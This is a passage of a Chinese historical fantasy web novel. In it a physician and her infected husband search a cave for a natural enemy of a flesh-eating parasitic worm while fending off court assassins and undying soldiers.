有了甲号试验体的经验,我们在乙号试验体身上多次切开血口,这些血口由浅而深,愈合时间由短而长。随后,我们切开了该试验体的脖子,三日后试验体伤口愈合,果然又复活了,发病时更加疯狂,给予大量血食后,状似恢复神智,却口称自己是羲皇族转世,是仙人。不久后,我们接到圣上口谕,将此试验体烧死。 丙号试验体:活的。 从一开始就不给与血食,不给与毒/药,将其关在笼子里观察,七日后,该试验体被啃噬成了一张血皮,我们切开血皮,只在其中发现了一只类似壁虎的小爬虫。我们百思不得其解,大胆推测,这些虫蛊在没有血食的情况下,在人体内相互吞噬,发生了异变。 我们将食人虫蛊取出体外研究,发现这种虫蛊离开人体后,极其容易杀死,碾碎、煮沸、火烧都可以,构不成任何威胁,一旦寄生,可控制宿主吞食血肉,危害不可估量。 对这种食人虫蛊有了一些了解后,我们开始研究治疗的办法,经多次讨论后,一致决定唯有以毒攻毒,遂,分别用钩吻、乌头、附子、鹤顶红、见血封喉进行试验。 患者服用钩吻、乌头、附子后,出现呕吐腹痛现象,吐出血虫后会陷入昏迷,随着一次次病发,增加剂量才会有效压制。 患者服用鹤顶红后,全身剧烈疼痛,痉挛,惨叫,求死。熬过去之后,患者清醒了。我们看到了希望,于是更加细致的研究鹤顶 红对虫蛊的治疗作用。 多次试验后发现,从没吃过血食的患者,在服用鹤顶红后会清醒一段时间,服用过血食的患者,尤其是吃过人的患者,服用鹤顶红后,疼痛加倍,直到给与血食后,疼痛才会慢慢减轻,恢复神智。 而后,我们又给患者用上了“见血封喉”这种剧/毒,患者服用后,片刻致死,一日后复活,状似僵尸,给与血食后,仍旧不能使其恢复神智。 于是,我们烧死了这个患者,唯有火焰能彻底消灭被食人虫寄生的患者。 我们里面最年轻的姜太医提出一种空想,假若这种食人虫不能从体内清除,有没有一种药或者毒,能将虫化在人体内?有没有一种药,能助力人体,将食人虫战胜,将这种“恶鬼”消化成人体的一部分? 我们集思广益,呕心沥血,药典翻烂,没有找到。 我们绝望了。 看完这份记录手札,慕容鸾音只觉得头皮发麻,如坠冰窟。忽的想到什么,连忙跑回卧房,往床前脚踏上一跪就去解萧远峥手臂上的白布条,可她的手却控制不住的颤抖,怎么都拽不开自己亲手系上的蝴蝶结。 冬青跟着进来,见状连忙上前帮忙,稍微一用力就把蝴蝶结扯开了。 慕容鸾音连忙去观察,就见,她用针亲手缝上的,上过药的,深可见骨的那一道伤口,已经愈合了大半,一刹那,她就感觉到了绝望的滋味。 这时,萧远峥蓦地睁开了眼睛,在睁眼的一瞬,似有红丝线游过,他猛地攥紧拳头,手背上青筋都凸了起来。 慕容鸾音见他睁眼醒来,仿佛一下子就有了主心骨,握起他的手就哭道:“峥哥哥,原来我是井底之蛙,我救不了你。原来这种虫蛊有愈合伤口的神异能力,还能让人死而复生,这就意味着,那个仙主真的返老还童了,他的长生术是真的,陛下、陛下能顶得住这样的诱惑吗?手札上,太清殿的太医们说他们绝望了,我也绝望了。峥哥哥,我们该怎么办……” 萧远峥压下/体内暴发的异样,挣开她的手才道:“你看过太清殿的手札了是吗?” 慕容鸾音看着自己忽然空了的手,心里刺痛了一下,怔怔看着他,红着眼睛道:“你、你是因为看过这份手札才决心清君侧的,是吗?” 萧远峥微点一下头,瞥见窗上映着一个高壮的影子就唤道:“赵荆,你进来。” “阿音,你暂时回瑞雪堂去,可好?” 慕容鸾音呆了呆,忽的反应过来,“你发病了?” 这时赵荆出现在了床前。 萧远峥急促喘息,压抑着道:“不想让你看到我丑陋的样子,我保证,一清醒过来就去见你。” “赵荆,我要鹤顶红,立刻去找来,快去!” 赵荆见此情形,不敢迟疑,转身疾奔而去。 鹤顶红……鹤顶红…… 慕容鸾音听他要鹤顶红,一下子就想到在梦境中看到的,他一头白发,枯瘦孱弱的样子,那应当是他长期服用鹤顶红压制虫蛊导致的…… 此时,萧远峥浑身冒汗,身体紧绷如拉至满月的弓弦,他死死盯着慕容鸾音,竟闻到了她身上散发的带着山茶花香的肉香,口腔竟分泌出津液来。 忽地,他竟然控制不住自己的双手,他的手痉挛成鹰爪状,一把扣住了慕容鸾音的双肩,俯下身去,就要咬她的脖子! 慕容鸾音只觉得肩膀骤痛,颈侧就被他的唇齿贴住了,她早已哭成泪人,不躲不避不挣扎。 “你吃了我吧,救不了你,我也不想活了。” 当萧远峥意识到自己正在做什么,发出痛苦的呜咽,嚯然推开她跑了出去。 慕容鸾音急忙跟上,就见他跑进了地下斗兽场,待得她进入假山洞,就见一扇乌木门封住了入口,任凭她怎么推、怎么喊,门纹丝不动。 她趴在门上,只隐隐听到一点他痛苦挣扎的嘶鸣。 她无力的瘫软下来,靠着门蜷缩成团。 她竟大言不惭的说自己要救他,要找出根治食人虫的药来。到头来才发现,自己就是个什么都不能做的废物。 哥哥骂她骂的对,在医道上,她除了金针术,旁的又怎能比得过那些积年的老太医。 那些医术精湛,经验丰富的老太医们都绝望了,她又能如何? 可笑,她竟曾有一点沾沾自喜,以为自己是得天眷顾之人。 到头来,自己就是个狂妄自大的笑话。 所以,她做的那些梦境,就只是无用的梦境吗? 可是她明明就根据梦境的预示改变了哥哥被剥皮揎草的结局。 她也梦到了鹤顶红…… 若梦境是有用的,为何又偏偏不让她梦到根治食人虫病的方法? 慕容鸾音咬着自己的拳头,不禁把自己从做梦以后,自己做的那些事情,以及因为自己做了那些事情引发的改变,细细想了一遍,忽的意识到,之所以她能改变哥哥的命运,梦境的作用仅仅是个引子,最终导致改变的是自己一往无畏的坚持。 对,别人放弃了,别人绝望了,那是别人的选择。慕容鸾音,你要选择放弃吗? 不! 你慕容鸾音身为医者,和那些老太医的区别是什么?是你拥有慕容氏百年行医治病的积淀。 峥哥哥,你等我,我一定能找到办法救你! 想到此处,慕容鸾音把脸上泪痕一抹,爬起来就走,飞快穿过咚咚咚的乌木廊道,提起裙子就跑了起来,跑出静园,翻过爬山廊,回到了瑞雪堂。 堂上,一灯如豆,珍珠帘闪着些微珠光。 榻床上,乱糟糟堆满了医书,还是她离开瑞雪堂时的样子。 慕容鸾音在床沿上坐下,随手拿起一本便知里头记录着什么病例,她都翻烂了的。脑海中不由得就想起,曾祖治疗前朝末年那场瘟疫时,经历过的困难和煎熬。在那场瘟疫结束,曾祖获得御赐匾额后,曾祖没有骄傲自满,而是于一个雨打芭蕉的深夜写下了一段感悟: 皇帝赐御匾,百姓颂扬我,我愧不敢当。我只是配伍出了一个药方,这个药方像一把钥匙,打开了人体抵抗瘟病的潜能。人体内有一股自愈的神秘力量,只要激发出来,百病可消。 曾祖的这段感悟和那位姜太医提出的“空想”,几乎是不谋而合。 慕容鸾音只觉得自己整个脑袋都“嗡嗡嗡”的响起来,似有一个灵念掩埋在脑海深处,需要她挖掘出来。 “天生万物,相生相克,我不信世间没有克制这种食人虫的东西,一定有、一定有的……我要找到这把钥匙。” 想到萧远峥每次分析案情的样子,她连忙穿过厅堂,走向萧远峥的大书案。 冬青怕慕容鸾音想不开做傻事,悄悄跟了过来,甫一瞧见她拿起墨条,似是要磨墨写字,连忙走出来,“姑娘,奴婢来。” “好,你来。” 慕容鸾音在圈椅上坐定,铺设一张宣纸,脑海中闪过自己经历过的,关于白玉京的一件件事,忽的提起笔来,略蘸一点墨水就先写下了“食人虫蛊”这个词,而后又写“仙主”“极乐圣境”“老巢”“源头”,当写下“源头”二字时,她脑海中那个一闪而逝的灵念猛地浮现了出来。 这食人虫是天然就存在的吗?倘若是天然的造物,那就去食人虫的发源地去找它的“天敌”。倘若是人为饲养出来的蛊,那就去撬开仙主的嘴,只有制造它的人才知道它有没有解药。 有了这个想法后,慕容鸾音急急忙忙又返回了静园。 此时,赵荆阎大忠正守在假山洞口,一瞧见慕容鸾音就都一起伸出胳膊拦截。 慕容鸾音攥着拳头道:“你把鹤顶红给他了?” 赵荆点头,“主子留了话给您,请您安心回瑞雪堂睡一觉,他保证,他一定会清醒过来。” “知道了。” 然而,慕容鸾音如何睡得着,便在假山洞前徘徊了一阵子,待得被寒风吹的打喷嚏了,为保重身子做 重要的事情就去了书房,在床榻上和衣而卧,闭眼小憩,迷糊着睡了半个时辰,又拥被坐起来,满心里都想着在地下斗兽场的萧远峥,想到他服下鹤顶红后会经历的求生不得求死不能的痛苦煎熬,她仿佛也感同身受,一颗心油煎火烧似的。 冬青往火箱里添了一层炭,又去搅拌茶炉子上煮的粳米粥。 不一会儿,盛出一碗来,放的温温的就端给慕容鸾音。 慕容鸾音摇摇头,“我不饿。你吃吧,吃好了就找些现成能吃的东西给他们送去。” “是。” 片刻,新添的银丝炭就被烧的火红,慕容鸾音呆呆瞧着,神情不属。 窗外,风吹白梅,落花如雪。整个静园的人,都在煎熬着,不知不觉,天光破晓,假山洞内的乌木门内有了锁链相互碰撞的声音。 门开了,萧远峥出现在那里,除了脸色憔悴苍白些,神志清醒,行动如常。 慕容鸾音眼眶一红就往他怀里扑去。 萧远峥却抬手制止,后退一步。 “抱一下又不会传染,你怕什么?!”慕容鸾音顿时又悲又气,不管不顾,一头拱进他怀里,两手抱住他的腰,脸也紧紧贴着他的胸膛,泣泪如珠,“我不怕。” 萧远峥何尝不想念她呢,只是一直压抑着、克制着。此时她紧紧抱着他,他终是狠不下心再推开,低头轻吻她发顶,抬起双臂将她完全笼在了怀里。 冬青与赵阎二人见状,纷纷背过身去。 紧紧拥抱了一会儿,慕容鸾音就赶忙问道:“你可知道,这食人虫是怎么来的,是人为饲养的,还是自然而生,本来就存在的?” 萧远峥见她神色紧张,就道:“据那仙主所说,是他在荡寇山那天然溶洞中发现的。” 慕容鸾音大喜,立时便把自己昨夜推演出的解法告诉了一遍,而后就叉腰道:“我要去一趟白玉京的老巢,寻找食人虫的天敌,你可愿同往?” 萧远峥见她神情执拗,便知倘若自己回答不许,她也是要自己去的,就道:“事已至此,只要有一线生机,试试又何妨。” 慕容鸾音心上一酸,又紧紧拥住了他。 萧远峥亦将她抱紧,红了眼。 却说洛雄才,自那日爬到长盛帝面前请罪后,就被勒令在府中闭门思过,没有旨意不得踏出府门一步。 这日,他夫人章挽月得了宫里送出的信息,早饭后递牌子入宫,到了午后方回。 章挽月一回府,两夫妻就躲到卧房中说话。 “贵妃这么急的找你入宫,可是宫里发生了变故?” 章挽月连忙道:“妹妹说,今日一大早萧远峥慕容鸾音这对夫妻就入宫请旨,说要出京,去荡寇山找解药,陛下不但准了,还让锦衣卫指挥使苏逢生带领一支锦衣卫护送。妹妹猜测,他们是要去极乐圣境,她让你把他们堵在那里,杀了。” 洛雄才拧眉道:“只需等一个月,陛下自然就会引渡蛊王。到那时,我们大事可成,何必多此一举?” “妹妹说,原本陛下已经决定切开仙主的脑子引渡蛊王了,可陛下一见了慕容鸾音那张肖似慕容青云的脸,就仿佛又被拉回去了,慕容鸾音既然可以让陛下给出一个月,未必不能再多出几个月来,为防生变,趁他们离京入山这个契机,杀个干净,只有死人才不会多事。” 章挽月一边说着一边就从胸兜里掏出一枚骨哨来,“妹妹给你的。” 洛雄才一手握住骨哨,一手去摸章挽月的脸,“揽星可还有别的话给我?” 章挽月捧起洛雄才的脸,亲他一口就笑道:“仙主和老皇帝都是必死的,到得咱们孝诚王登位,你就是摄政王,自由出入宫廷,你想怎样就怎样。” 洛雄才心情激动,一把搂住她纤纤腰肢,“飞燕合德,我都要,亦可吗?” “自然,我的亲亲摄政王。” 第76章 第076章赤磷角蛇萧远峥慕容…… 萧远峥慕容鸾音一行人,披星戴月赶往荡寇山,却不知身后缀了一把血淋淋的“刀”。 未出正月,别处都是乍暖还寒时候,荡寇山深处的大峡谷内却始终四季如春。 彼时,漫无边际的菊海中,靠近极乐圣境的那一头,被清理出了一片空地,空地上有两堆枯木断枝,其中一堆烧的囫囵黑漆,另外一堆像一座未完成的小土坟。 距离小土坟不远处,便是紫竹林,林中熊熊燃烧着一堆篝火,一个白发如雪的美艳男子,盘腿坐在一个菊花编织成的草垫子上,正在往烤的金黄的鱼身上刷酱料。 这时一个猿猴似的人,背着一捆枯枝奔跑跳跃而回,一边跑一边发出猴叫声。 白发男子眼皮都不抬一下,神情怡然,兀自往裹满酱料的鱼身上撒了一把辣椒面,“你是说,有一群人往我们这里来了?” 猿猴人“嗷嗷呜呜”说了一通,然后就把背上的枯枝甩到了小土坟上。 “无所谓。若是来杀我的,我还要告诉他们用火烧才能烧死我,柴火都替他们准备一半了,他们只需再去捡些回来就够烧我了。” 猿猴人蹭到男子身畔,用毛茸茸的大脑袋拱他的肩膀,一双琥珀色的大眼睛里泪花涌动。 男子烤鱼的动作一顿,长叹一口气,腾出一只手来抚摸他的头,“鲲,我也想陪着你,可我不想被活生生吃成一张血皮。也许这就是我的报应,想找一种不那么痛的死法都没有,只能在火烧和血皮之间,选择稍微不那么恐怖的火烧。” 太阳西斜时,萧远峥慕容鸾音一行人出现在了大峡谷入口处。 慕容鸾音当即便给带来的两只幼虎都喂了萧远峥的血。 既是她主张来此处寻找食人虫的天敌,便是有准备的。灵感来源于慕容氏世代相传的墨玉立兽佩。 慕容氏供奉的是传说中的药兽,《说郛》中记载,此种神兽可以通过听人讲述病症去寻找对症的草药,她观察自己的立兽佩,便觉得像老虎,就想到动物若受伤会自己找草药吃的事情来,就决定给老虎喂虫卵,然后等它发病,跟着它,把它吃的东西都收集起来,再做试验,以此确认食人虫的天敌。 谁知,喝过人血的幼虎,一被放出笼子就都撒欢似的向菊海冲去。 苏逢生哭笑不得,无声悲叹,还是选择指派下属去追踪。 萧远峥对苏逢生拱手致谢。随后便跨前一步走到慕容鸾音前头,踩折花枝,踏出路来,让慕容鸾音紧跟在他后面。 走着走着就遇见了一片巨型鸟骨,慕容鸾音一下子就想起来,上次来这里,军队射杀了一群秃顶巨禽,许多时日过去,鸟尸就都腐烂的干干净净,只剩白森森的尸骨了。 忽的,萧远峥停了下来,慕容鸾音顺着他的目光望去,便看见了一道袅袅升腾的烟雾。 “烟雾?”慕容鸾音紧张起来,一霎抱住萧远峥的胳膊,鼻子里隐隐约约闻到了烤鱼味,不敢置信的睁大杏眸,“会是白玉京余孽吗?” 身后的冬青伸长脖子深深吸一口气,肚子就咕噜咕噜叫起来,顿时涨红脸。 阎大忠看她脸红的样子十分可爱,心头漏跳一拍,抓紧身上挂的锁链就道:“这烤鱼味真香。” 冬青只觉遇到知音一般,使劲点头。 赵荆似笑非笑斜睨阎大忠一眼,两手扣在腰间蹀躞带上,已是随时准备开干的架势。 “过去看看。”萧远峥与苏逢生对视一眼,苏逢生就带着下属包抄了过去。 待得慕容鸾音紧跟着萧远峥走到了紫竹林,就见一个穿着黑斗篷的白发男子正盘腿坐在花垫子上啃鱼,嘴边、脸颊都粘上了酱料和辣椒籽,但他肤色雪白,眉眼如画,吃的动作虽粗鲁,却不难看。 这人实在太容易让人记住了,慕容鸾音顿时就道:“你是白玉京的人吧,我知道你心口插刀却为何不死了。” 白发男子兀自不理人,一心吃鱼。 萧远峥将此人周围环境扫视一圈后才开口道:“夜王,上次在般若禅寺雪香亭见你,你尝试用了匕首,这次是想烧死自己,又贪恋人间半途而废吧,为何?” 夜王啃鱼的动作一顿,吐出一根刺来,把烤棍一扔,终于抬眼看人。 慕容鸾音吃惊的看着白发男子,“他就是曾经刺杀我们的夜王?” “不愧是你,萧青天。”夜王起身,站到树荫下,又看向慕容鸾音,笑道:“你既然知道我为何不死了,想必也知道只有用火才能烧死我,你瞧旁边那柴堆,我都为你们准备好了,来呀,烧死我。” 萧远峥 眉头皱起,星目锐利如鹰隼,“一旦陛下引渡长生蛊王,大魏朝就会变成食人国,你们仙主不是已经胜券在握了吗?你身为白玉京的王者,权势富贵唾手可得,究竟为什么想死?说!” “呵,权势富贵,多少人为了这权势富贵、延寿长生,主动找上白玉京,不择手段,丧尽天良,我都看吐了。”夜王戴上兜帽,提起脚边的调料篮子,转身向溶洞内走去,苏逢生蓦的抽刀拦住,冷冷道:“回答萧大人的话,不然就让你尝尝我们锦衣卫的手段。” “手段?”夜王嗤笑,“是剥皮还是凌迟?我都亲身经历过,你们锦衣卫的手段比得上吗?” 苏逢生惊异,横起的长刀缓缓下垂。 夜王绕过他,跳上石阶,“好心提醒你们一下,天马上就黑了,天一黑外头会有毒蛇群出没,你们这些凡人俗子不许死在这里脏了我的风水宝穴。” 慕容鸾音一听,连忙看脚下,萧远峥知她最怕蛇,连忙抱起,跟在夜王身后进了溶洞。 苏逢生把手放在嘴边,猛地一吹,散在四处的锦衣卫听到这紧急集合的口哨声,迅速向这边靠拢。 溶洞内,夜王持着火把,把各处鲸油大鼎里的粗壮灯芯点燃,随着燃烧起来的灯芯越来越多,眼前视线也渐渐明亮。 随后,夜王便往饕餮玉座上一躺,翘起二郎腿,淡淡道:“看你们的样子,也不像来杀我的,这里已经被你们剿灭的一干二净,又来做什么?” 彼时,萧远峥慕容鸾音已经穿过白石桥,走到玉石铺成的圆台上,身后跟着的赵荆阎大忠冬青呈护卫状,而苏逢生站在白石桥上,回头望着洞口。 就在这时洞外传来虎啸声,几个锦衣卫被逼着逃进来,其中一个急奔到苏逢生跟前道:“指挥,两只老虎发病了要吃我们,怎么应付?” 慕容鸾音一听连忙道:“它们可有吃过什么草药?” 那锦衣卫看苏逢生的眼色,连忙拱手答话,“回夫人,没吃什么草药,只咬死了三只野兔。” 慕容鸾音顿时攥紧拳头,正要说话,就被夜王抢了话。 “吵死了!凡是吃过虫卵的,除了烧死,那就是砍头,把头砍下来,一夜就会变成一张血皮。” 这时,两只老虎把锦衣卫们都逼上了白石桥,只见它们眼睛赤红,露出獠牙,口水滴答,显见已经被食人虫控制。 苏逢生看向萧远峥,等他拿主意。而萧远峥握住慕容鸾音的手,柔声道:“阿音,这个法子不行,放弃这一个咱们再想别的,我答应你,只要你还能想出别的,我都陪你去试,直到我……” 慕容鸾音蓦的捂住他的嘴,红着眼睛道:“那就砍头吧,不能再连累了保护我们的这些人。” “好。” 萧远峥拿下慕容鸾音的手,对苏逢生点头。 苏逢生一声令下,就有锦衣卫先用弓箭将两只幼虎射倒,而后迅疾砍下了虎头。 虎血迸溅,虎头滚落桥下,落入水池,虎的脖颈断口处却很快止了血。 慕容鸾音攥紧裙边的药兽佩,心想,老虎只是老虎,不是药兽,不能分辨草药也在预料之中。这一线生机划掉。最大的生机还在自己这里。 于是转身看着夜王,直接问道:“你可知仙主是在何处发现的最初的食人虫卵?” 夜王原本正在抖腿,闻言立时停住,刹那又抖起来,“你们来这里,究竟想做什么?” “天生万物,相生相克,食人虫既是天然存在,就一定存在天敌,我要找到它,用来治病,救我的夫君。” 夜王坐起来,盯着慕容鸾音,嘲笑道:“所以,你们风尘仆仆的从京城跑到这里来,就为了找你臆想中的天敌?” “不找一找,验证一番,怎知是臆想。”慕容鸾音福身一礼,诚恳道:“我记得,你在银发女妖的裙摆上给我们写过几个字,‘吾在此上中’,那时不确定是挑衅还是好意,可现在亲眼见了你,听你说了一些话,我便明白了,你在那时就在给我们提示,你想让我们发现白玉京老巢,摧毁这里。这说明,你是个好人。” 夜王像是听到什么天大的笑话一样,拍着玉石扶手哈哈大笑,笑的涕泗横流,笑完了,擦擦眼泪鼻涕,指着自己夸张的笑道:“我是好人?” “你知道曾蹿到你们府上刺杀的大猫是怎么弄出来的吗?是幼小的畸形孩子,我缝上动物的皮,做成的。我把它们变成那样,只是顿顿给它们吃饱饭,它们就认我做主人,听我的话。这是仙主传给我的,训兽术的一种。最终,我把那些仙奴都杀了。我是好人吗?” 慕容鸾音看着泪流满面的夜王,轻声道:“那你呢?” “我什么?”夜王暴怒,“你闭嘴!” “你叫什么名字?” “我叫什么名字……”夜王慢慢平复下来,狠瞪一眼慕容鸾音,“烦死了。你不就是想知道食人虫发现的地点吗,带你去就是。” 说着话,沿着暗河向溶洞深处走去。 慕容鸾音顿时高兴起来,拉着萧远峥就跟了上去。 苏逢生落后一步,让下属找来火把,点燃照亮,这才跟了上去。 暗河流速平缓,但随着越走越深就越安静,脚步声、流水声,也在回声的作用下,大了起来。 慕容鸾音发现地上有一层夜明砂,抬头就看见倒挂在岩壁上的蝙蝠,一群一群的。 不知过了多久,前头就出现了光亮,原来是石顶上出现了一个大洞,月光星光流泻了下来。 这一条暗河本该横贯东西,但在此处却形成了一个不规则的水池,月光照在水面上映照出盈盈水光。 “就在这里。”夜王站在池畔,指着水下道:“仙主就是在这里发现了一块青色陨石,食人虫就是在陨石上发现的,它没有天敌,只有青色陨石能真正克制它,与它形成阴阳平衡,达到返老还童长生的效果。但是你们现在也该明白了,陨石被挖光了,河水淹没了这里,真正克制食人虫的东西没有了。” 慕容鸾音僵愣在那里,怎么都不肯接受自己听到的,所以真的存在克制食人虫的东西,但现在这个东西用光了…… 就在这时萧远峥松开了慕容鸾音的手,走向了阎大忠,阎大忠连忙卸下身上锁链,赵荆也赶紧去帮忙。 就在萧远峥要再次吞服鹤顶红的时候,夜王嗤笑起来,递给了他一颗青色药丸,“我只有这一颗了。” 慕容鸾音反应过来,连忙道:“这、这是什么?” “陨石粉末制成的药丸子,吃一颗能克制一段时间,到底能克制几天,因人而异。”夜王不耐烦的道:“你吃不吃,不吃我扔了。” 说着话就要扔进水里,慕容鸾音连忙拿到手里,递到萧远峥嘴边,“我们信他吧。” 萧远峥当即就着慕容鸾音的手一口吞服了下去。 夜王撇嘴嗤笑了一下,就在这时从洞口的方向传来一阵特殊而响亮的哨声,夜王听后,脸色一沉就冷笑起来,“真正杀我的人来了。” 紧接着,就见一群黑衣人,手中持刀向他们杀来,哨声越急促,他们的速度越快。 彼时,萧远峥亦感觉到了陨石药丸的威力,体内仿佛万蚁蚀骨般的痒被压制了下去。当即抽出阎大忠的刀握在手里,将慕容鸾音护在身后。 “夜王怎知是来杀你的?” 夜王已是破罐子破摔,就道:“仙主要杀我灭口,我跑了。怎么,你不护着你爱妻跑吗?难道要保护我?” “未必是来杀你的。萧某没有束手就擒的习惯,战到最后一刻吧。” 夜王大笑一声,“那就砍这些人的头。” 萧远峥苏逢生听懂了。 黑衣杀手也到了跟前。 两方大战。 当萧远峥一刀砍向一个黑衣人的头,顿时火花四溅,发出金属碰撞声。 夜王见状,面色狰狞,怒极反笑,“他们给这些不灭死士脖子上装了铁圈,我们死定了!” 说着话,拿出自己的骨哨,模仿敌方的哨音吹奏起来。 两种骨哨声让不灭死士行动迟缓了下来。 苏逢生一脚将一个死士踹进暗河 ,正要喘口气,就见那死士又从河水里爬了上来,惊恐之下大叫一声,“天要亡我!”就又砍杀起来。 可这些黑衣人当真是怎么砍都不死。 萧远峥砍倒一个死士,踹进暗河,趁隙寻找,蓦地就在不远处的石头上看见了站在那里吹哨子的人。 ——洛雄才。 他竟狂妄到没有蒙面。 洛雄才听到另外一道骨哨声,又见那人一头晃眼的白发,顿时便知是夜王,当即放下哨子道:“夜王,我是自己人,仙主有令,诛杀萧远峥夫妻,速速与我一起行动,待得杀死这些人后,我们一起回京,同享富贵。” 夜王嘴边的哨子却不停,但却陡然变了声调,悠扬婉转,如百灵鸟。 洛雄才顿生疑惑,急忙再度吹起哨子来,但已经晚了,一头猿猴攀着石壁跳跃而来,一脚将其踹摔在地,猛地扑到他身上,就掐住了他的脖子,强壮的身躯压的他呼吸凝滞,动弹不得。 夜王放下哨子,这才讥笑道:“谁和你是自己人。” 没了哨音的操控,不灭死士的行动的确迟缓了很多,然而,这些死士,闻到人肉的香气,仍旧在不停的往人身上扑。 人力有时尽,不灭死士却没有,仿佛只有吃到人肉,饱食一顿才会停下来。 慕容鸾音被保护的很好,但她却发现,萧远峥砍杀的动作在慢慢变得迟钝,这说明他也快力竭了。 就在她徒然焦急的时候,发现河面上漂浮了两具死士的尸体,一动不动,像死了一样,和那些不知疲倦的死士完全不同。 怎么回事? “夜王,你不是说,只有砍头或者火烧才能弄死吃了虫卵的人吗,那两具尸体是怎么回事?” 夜王扫去一眼,也觉怪异。 忽的,慕容鸾音就看见从其中一具浮尸的前襟里钻出一条蛇来,这蛇长着鲜红的鳞片,头上长着像蜗牛触角一样的青色的肉角。 慕容鸾音不知为何,浑身都颤抖起来,激动的跺脚大叫,“是蛇!” 是它!是它吗?! 第77章 第077章大结局(一)…… “踹进水里,快把这些死士全都踹进水里!” 萧远峥一副心神分作两半,一半在对抗不灭死士,一半时时刻刻都笼罩在慕容鸾音身上。甫一听到她和夜王的对话,就也立时瞥向水面,果见有两具浮尸,尸上有蛇游动,顿时就大喝道:“引死士入水!” 他身上有虫蛊,那些不灭死士不会追咬他,但苏逢生等锦衣卫体内没有,散发的肉香就像鱼饵。 苏逢生已经到了力竭的边缘,身体比脑子更快一步,只是挪到水边站在那里不动,就有三四个死士去扑他,而后他一个闪避,转身抬脚,一脚一个就都给踹进了水里。 其他锦衣卫有样学样。顿时,洛雄才带来的这群死士,便如下饺子似的入了水。那条在浮尸上游动的赤磷蛇便似闻到了什么刺激性气味一般,瞬时炸鳞,高昂起三角头,吐蛇信子,蛇身弯曲蓄势,猛地弹射飞出,就咬住了一个落水死士的手掌。 这一回,岸上的众人都看清了,那死士甫一被咬住就直挺挺僵住,随即“噗通”一声倒下,先是往水下沉去,没一会儿就浮了上来,其脸上又多了一条赤磷蛇,正咬在他鼻子上。 少顷,凡是落水的死士都成了浮尸,每一具浮尸上都有赤磷蛇在游动,吐蛇信子,像是在宣告,犯我领域者,其罪当诛。 慕容鸾音抑制着激动之情,连忙道:“可否、可否打捞上来一具尸体,我想为其把脉,查看一下具体情况。” 彼时,苏逢生坐在地上大喘粗气,摆摆手道:“我没力气了,歇会儿。” 慕容鸾音连忙点头,愧疚道:“是我疏忽了。” 夜王体内有食人虫,并没有被攻击,故此一直作壁上观,此时他心中也升起希望来,就大步上前,选了一个上半身趴在岸上的死士,拽着肩膀就拖了上来。果然,在他脚腕处缠着一条赤磷蛇,这蛇一离了水,顿时“噗通”一声跳了回去,一头扎进水里往深处游去。 慕容鸾音连忙上前,萧远峥一把拉住她的手,自己先是用刀背在死士身上拍打了数下,见没有蛇窜出,这才放任。 片刻后,慕容鸾音站起身就攥着拳头道:“脉象混乱之极,身体体温逐渐攀升,他正在发高烧。我、我想再观察看看,也许、也许等他恢复正常体温的时候,就会苏醒,恢复神智。” 萧远峥轻抱住慕容鸾音,安抚道:“那就等。” 夜王略微失望,就道:“那人我不认识,既然是来杀你们夫妻的,就交给你们处置吧。” 萧远峥安抚好慕容鸾音,就让赵荆阎大忠把昏迷过去的洛雄才用锁链捆住,拖到了此处。 与此同时,苏逢生带着下属们把所有浮尸都打捞了上来,缠在浮尸上的赤磷蛇惊觉离水纷纷逃窜,一两条钻进死士衣领里钻不出去的,被带到岸上不久就失去了活力,一炷香的功夫就一动不动了,用刀戳也不动,竟是死了。 为防那些死士醒来后依旧扑咬人,问过夜王后,就在储粮洞里找到数捆绳子,把那些死士两两绑在了一起。 这些死士还不知何时苏醒,但此时所有人都又累又饿,就都回到了饕餮玉座处。 进山时,每人身上都带了些肉干和薄饼,这会儿都席地而坐大口吃起来。 而夜王,坐在饕餮玉座上,弄来一个火盆,架起烤架,又在刷酱烤鱼,那香味儿搀的人流口水。 冬青一面眼巴巴瞅着,一面啃自己带的牛肉干。 慕容鸾音吃了半个饼就吃不下了,给了身畔的萧远峥,她只怔怔看着那两个发高烧的死士,满心祈盼着,苏醒过来的是已经恢复神智的人而不是食人的怪物。 彼时,众人是不约而同的围着白玉石平台坐的,洛雄才和两个死士都被扔在圆台中间位置。 待得萧远峥把慕容鸾音给的那半块饼吃完后,拿起绣春刀就走向了洛雄才。 洛雄才忽觉脸上刺痛,蓦然睁眼,就看见一把滴血的刀正悬在自己眼球上,霎那闭眼缩脖子。 “杀父杀母之仇,不共戴天,你今日死期到了!” 洛雄才一听,恐惧到极点,连忙大声叫道:“萧远峥,我是勇毅侯,我夫人的妹妹是宠冠后宫的贵妃,陛下很快会死,陛下一死就是孝诚王继位,贵妃垂帘听政,你若杀我,贵妃必定会替我报仇!” 萧远峥将刀尖挪开一点,冷冷道:“你怎么知道继位的是孝诚王?” 洛雄才呼吸一窒,心想,我马上就能做摄政王,左拥挽月右抱揽星,年少的夙愿即将达成,我万万不能死在这里。于是就道:“陛下挚爱贵妃,如老房子着火,自然会在临死之前为他们母子铺平道路。你也是知道的,自从嘉懿太子被谋害,陛下心有顾忌就 决定不再封太子,而是将储君人选写成圣旨,盖了玉玺,存放在龙椅之内。陛下给贵妃看过了,太子就是孝诚王。陛下早早选定你为首辅大臣,军权五分你掌其一,我掌其三,还有一分由皇室宗令执掌,范守君掌禁卫,贵妃掌铁甲军,形成多方牵制。所以,萧远峥你不能杀我!” 苏逢生听后,惊在那里,手里啃了一半的饼子掉了都不知道。 其余锦衣卫恨不得自己是聋子,纷纷避开去了白石桥上呆着。 慕容鸾音亦是杏眼大睁,拳头紧握。 萧远峥反应平淡,像是早有预料,并不为这泼天权势所干扰。 “仙主以长生术诱惑陛下,陛下对他必然会严防死守,那么,是谁给你下的命令杀我?还是说,在楚永寿这个仙主被关进兽笼之前,你们白玉京的仙主已经换人了。” 洛雄才又是呼吸一窒,此时痛恨萧远峥之心到达了极点,却不得不描补道:“我们仙主自有仙法,能驱使五色鹊传出仙旨。” 饕餮玉座上顿时传来一声嗤笑,夜王一面往鱼身上撒辣椒面一面懒洋洋道:“什么五色鹊,不过是染了颜料的信鸽,那皇帝难道是傀儡,有信鸽进出他的长明宫他都不知道?” 萧远峥从他的话语里听出漏洞,面上就冷冷试探道:“所以,在仙主的算计里,陛下是必死的,你也知道陛下是必死的,可你我体内都有食人虫卵,我们也是必死的,你拱手把贵妃母子送上权势之巅,图什么?” 苏逢生的眼睛顿时亮如灯火,下意识的想,有奸、情! 